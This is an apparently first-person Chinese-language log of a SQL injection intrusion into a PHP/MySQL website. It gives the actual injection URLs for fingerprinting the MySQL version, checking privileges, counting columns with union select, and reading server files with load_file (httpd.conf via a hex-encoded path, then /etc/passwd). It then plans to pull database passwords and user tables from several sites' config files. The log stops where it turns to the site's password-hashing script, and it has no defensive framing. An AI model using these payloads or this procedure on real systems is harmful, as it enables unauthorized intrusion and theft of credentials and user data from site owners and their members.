环境: unix+apache+php+mysql
端口: 21=vsftpd; 22=ssh; mysql=3306 不开放远程连接 |
mysql版本4.0以上支持union查询,当前用户权限足够可以load_file
找到个注射点,以下是记录: /gongji.php?ag_id=7 and ord(mid(version(),1,1))>51 /*判断mysql version的第一位是不是大于3 /gongji.php?ag_id=7 and (select count(*) from mysql.user)>0 /*判断权限 /gongji.php?ag_id=7 and 1=2 order by 7 /*快速判断字段 /gongji.php?ag_id=7 and 1=2 union select 1,2,3,4,5,6,7 /*精确确定字段数 —没有报错信息,利用读取apache配置文件来找web路径——————— 默认的配置文件路径:/etc/httpd/conf/httpd.conf /gongji.php?ag_id=7 and 1=2 union select 1,2,3,load_file(0x2F6574632F68747470642F636F6E662F68747470642E636F6E66),5,6,7 得到N多站点的路径,其中目标的路径为:/home/k…ow/www/ 接下来考虑两个方案: b.读网站页面源码,找到库口令,用户表,管理表,后台… 读/etc/passwd密码档得到用户表,找到能够远程登录的用户表。 读取几个站的数据库连接文件:/home/k…ow/www/config_db.php或/home/k…ow/www/lib/config_db.php 发现口令统一是*****,帐号不一样。网站都采用同一套系统。用户表:dg_member,fs_member,fs_qa_manager c.爆源代码的话还可以顺便找找里面是否有漏洞,比如包含什么的。 d.因为能弄到mysql口令,虽然不能远连,还是可以找找有没有phpMyAdmin这样的东西的。 帐号密码是加密形式的。 新注册用户是要钱的。 先看下memberl.php中对密码加密的脚本: |